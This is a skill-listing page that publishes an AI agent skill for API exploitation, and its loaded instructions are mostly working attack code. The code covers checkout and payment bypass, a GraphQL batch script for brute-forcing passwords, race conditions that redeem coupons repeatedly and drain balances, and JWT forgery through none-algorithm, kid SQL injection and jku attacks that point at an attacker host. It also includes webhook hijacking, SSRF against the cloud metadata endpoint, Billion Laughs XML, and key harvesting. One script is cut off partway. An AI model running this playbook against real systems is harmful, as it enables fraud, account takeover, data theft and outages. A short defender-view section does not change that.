offensive-api-abuse skill
Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
Is the offensive-api-abuse skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
- low
SKILL.md:1The description is over 1,024 characters, the limit agents read.
1111 characters
Install the offensive-api-abuse skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/api/offensive-api-abuse ~/.claude/skills/offensive-api-abuse
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Offensive API Abuse and Advanced Exploitation
You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.
Quick Workflow
- Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
- Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
- Test each workflow for race conditions using parallel request techniques.
- Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
- If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
- Probe pagination for data enumeration and exfiltration opportunities.
- Test webhook configurations for SSRF and callback hijacking.
- Search for API key leakage in client code, error responses, and public repositories.
- Verify all discovered endpoints for authorization consistency.
- Document business impact for each finding with financial or operational consequence estimates.
Business Logic Bypass via API Chaining
Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.
# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "SAVE20"}' \
"https://target.example.com/api/v1/cart/coupon" | jq .
# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "CART-12345"}' \
"https://target.example.com/api/v1/orders/confirm" | jq .# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/calculate"
curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"payment_method": "card_on_file"}' \
"https://target.example.com/api/v1/cart/pay"# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "pending"}' \
"https://target.example.com/api/v1/orders/ORD-5001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": -1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"amount": 100, "currency": "IDR"}' \
"https://target.example.com/api/v1/payments"GraphQL Batching and Abuse
GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.
# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'Batching for brute-force amplification -- send multiple authentication attempts in a single HTTP request to bypass per-request rate limiting:
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys
TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50
def run_batch_brute(email, wordlist_path):
with open(wordlist_path) as f:
passwords = [line.strip() for line in f if line.strip()]
for i in range(0, len(passwords), BATCH_SIZE):
batch = passwords[i:i + BATCH_SIZE]
payload = [
{"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
for j, pwd in enumerate(batch)
]
resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
if resp.status_code == 429:
print(f"[!] Rate limited at batch index {i}")
break
for j, result in enumerate(resp.json()):
if result.get("data", {}).get("login", {}).get("success"):
print(f"[+] Valid: {email}:{batch[j]}")
return
print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")
if __name__ == "__main__":
run_batch_brute(sys.argv[1], sys.argv[2])# Query depth exploitation for denial of service
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}' \
"https://target.example.com/graphql"
# Field duplication for response amplification
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}' \
"https://target.example.com/graphql"Pagination Exploitation
Pagination mechanisms can leak total record counts, expose data through cursor manipulation, and allow complete database enumeration when not properly constrained.
# Probe pagination boundaries and abuse page size
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=1&per_page=1" | \
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .# Cursor-based pagination manipulation
echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001}
# Forge a cursor to access arbitrary records
forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
# Sort and filter parameter injection
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq .
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .Webhook Hijacking and SSRF
Webhook configurations allow you to redirect server-initiated callbacks to attacker-controlled endpoints, enabling data interception and SSRF.
# Register a webhook pointing to your controlled server
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker-listener.example.com/webhook",
"events": ["user.created", "order.completed", "payment.received"],
"secret": "attacker_secret"
}' "https://target.example.com/api/v1/webhooks" | jq .
# List existing webhooks to discover internal URLs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'# Webhook SSRF: point webhook URL to internal services
internal_targets=(
"http://127.0.0.1:8080/admin"
"http://169.254.169.254/latest/meta-data/"
"http://internal-api.local:3000/health"
"http://elasticsearch.internal:9200/_cat/indices"
)
for target_url in "${internal_targets[@]}"; do
resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"url\": \"${target_url}\", \"events\": [\"test.ping\"]}" \
"https://target.example.com/api/v1/webhooks")
echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)"
doneRace Conditions in API Transactions
Race conditions occur when APIs fail to properly serialize concurrent requests against shared state. You exploit these to duplicate transactions, bypass limits, or corrupt state.
#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
import asyncio, aiohttp
TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
async def send_request(session, url, data=None):
async with session.post(url, json=data, headers=HEADERS) as resp:
body = await resp.json()
return {"status": resp.status, "body": body}
async def race_coupon_redeem(coupon_code, n=20):
"""Redeem a single-use coupon multiple times via race condition."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/cart/coupon",
{"coupon_code": coupon_code}) for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] == 200]
print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")
async def race_balance_transfer(n=20):
"""Drain account by sending parallel transfers exceeding balance."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/transfers",
# Race condition using GNU parallel with curl
seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n" \
-X POST -H "Authorization: Bearer '"$TOKEN"'" \
-H "Content-Type: application/json" \
-d '\''{"coupon_code": "SINGLE-USE"}'\'' \
"https://target.example.com/api/v1/cart/coupon"'JWT Manipulation
JSON Web Tokens often carry authorization decisions client-side. You exploit weaknesses in token generation, validation, and cryptographic implementation.
# Decode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
jwt_tool "$JWT_TOKEN"
jwt_tool "$JWT_TOKEN" -X a # Algorithm confusion
jwt_tool "$JWT_TOKEN" -X n # None algorithm
# Manual none-algorithm variants
for alg in "none" "None" "NONE" "nOnE"; do
header=$(echo -n "{\"alg\":\"${alg}\",\"typ\":\"JWT\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
forged="${header}.${payload}."
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer ${forged}" \
"https://target.example.com/api/v1/users/me")
echo "Algorithm '${alg}' -> HTTP ${code}"
done# kid (Key ID) injection -- path traversal and SQL injection
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"# jku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
python3 -c "
import json, base64
from cryptography.hazmat.primitives.serialization import load_pem_public_key
with open('attacker_pub.pem', 'rb') as f:
pub = load_pem_public_key(f.read())
n = pub.public_numbers()
jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
print(json.dumps(jwks, indent=2))
" > jwks.json
jwt_tool "$JWT_TOKEN" -I \
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json" \
-hc kid -hv "attacker-key-1" \
-S rs256 -pr attacker_key.pem# Claim tampering with a known or brute-forced secret
jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc sub -pv "admin@target.com" -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true \
-pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"API Key Leakage Patterns
API keys leak through predictable channels. You systematically search for them across all exposure surfaces.
# Search public repositories for leaked keys
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}' \
--method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}' \
--method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"# Client-side key extraction from JavaScript bundles
curl -s "https://target.example.com/" | \
grep -oE 'src="[^"]*\.js[^"]*"' | sed 's/src="//;s/"//' | while read -r js_url; do
echo "=== Scanning: https://target.example.com${js_url} ==="
curl -s "https://target.example.com${js_url}" | grep -oiE \
'(api[_-]?key|api[_-]?secret|access[_-]?token|secret[_-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]'
done
# Error message key leakage
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": true}' "https://target.example.com/api/v1/connect" | \
grep -iE '(key|token|secret|password|credential)'Undocumented Endpoint Discovery
Production APIs frequently expose endpoints not listed in public documentation. You discover them through predictable naming patterns, debug routes, and application source analysis.
# Parameter discovery with Arjun
arjun -u "https://target.example.com/api/v1/users" -m GET \
--headers "Authorization: Bearer $TOKEN" -t 10
arjun -u "https://target.example.com/api/v1/users" -m POST \
--headers "Authorization: Bearer $TOKEN" -t 10
# ParamSpider for URL parameter mining from web archives
paramspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif# Endpoint brute-forcing with predictable naming patterns
wordlist=(
"internal" "debug" "test" "dev" "staging" "beta"
"admin" "manage" "console" "dashboard" "config"
"health" "status" "metrics" "graphql" "playground"
"backup" "export" "import" "batch" "bulk" "webhook"
)
for word in "${wordlist[@]}"; do
for prefix in "/api/v1" "/api/v2" "/api/internal" "/api" "/_"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"${TARGET}${prefix}/${word}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}"
done
done
# Extract API routes from JavaScript bundles
curl -s "https://target.example.com/static/js/main.js" | \
grep -oE '["'\'']/api/[a-zA-Z0-9/_-]+["'\'']' | sort -uResource Exhaustion and Algorithmic Complexity
Target API operations that have disproportionate server-side cost relative to request complexity.
# ReDoS via search parameters -- measure response time scaling
for len in 10 20 30 40 50; do
payload=$(python3 -c "print('a' * ${len} + '!')")
curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/search?q=${payload}"
done
# XML entity expansion (Billion Laughs) if XML input accepted
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<data>&lol4;</data>' "https://target.example.com/api/v1/import"Detection / Defender View
When you execute these techniques, you generate specific artifacts that defenders monitor for:
- Business logic abuse does not trigger signature-based detection because each individual request is valid. Behavioral analytics detect deviations such as checkout steps executed out of order, coupon codes applied in parallel, or state transitions that violate the application state machine. Transaction monitoring flags duplicate rewards, negative-amount transfers, or currency mismatches.
- GraphQL batching produces abnormally large request payloads. API gateways with query complexity, depth, or operation count limits block these. Introspection queries from non-development sources trigger alerts.
- Pagination abuse manifests as requests with abnormal page sizes or sequential fetches at high volume. DLP systems alert on bulk data access patterns.
- Webhook manipulation is detected by registration audit logs. Outbound connection monitoring flags callbacks to unexpected destinations. SSRF defenses validate callback URLs against allowlists.
- Race conditions produce bursts of identical requests within millisecond windows. Distributed tracing captures concurrent state modifications. Database logs show serialization failures.
- JWT attacks involving algorithm confusion produce tokens with unexpected header values logged by auth middleware. Tokens with jku/x5u pointing to external URLs trigger URL validation alerts.
- Endpoint enumeration produces 404 bursts and unusual URL path patterns. WAFs flag path traversal patterns in discovery attempts.
Engagement Cheatsheet
More skills from SnailSploit/Claude-Red
- Aoffensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
- Aoffensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
- Coffensive-ai-security
- Aoffensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
- Aoffensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
- Aoffensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
- Aoffensive-bluetooth-classicBluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.
- Aoffensive-bug-identification
- Aoffensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
- Aoffensive-c2-frameworksCommand and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).
- Doffensive-cicd-pipelineComprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.
- Coffensive-cicd-secretsComprehensive secrets extraction methodology targeting CI/CD environments across all major platforms. Covers environment variable extraction from build contexts, exploitation of vault and secrets-manager misconfigurations (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager), runner and agent token abuse for lateral movement, OIDC federation attacks exploiting trust relationships between CI/CD providers and cloud platforms, build log leakage analysis for inadvertently exposed credentials, cache poisoning techniques for credential exfiltration, platform-specific credential store exploitation (GitHub Actions secrets, GitLab CI variables, Jenkins credential providers), service connection and service account abuse in Azure DevOps and GCP, and Docker registry credential theft from build environments. Maps to MITRE ATT&CK T1552 (Unsecured Credentials) and its sub-techniques. Each section provides enumeration procedures, extraction techniques, and post-exploitation pivoting guidance for using recovered secrets to expand access.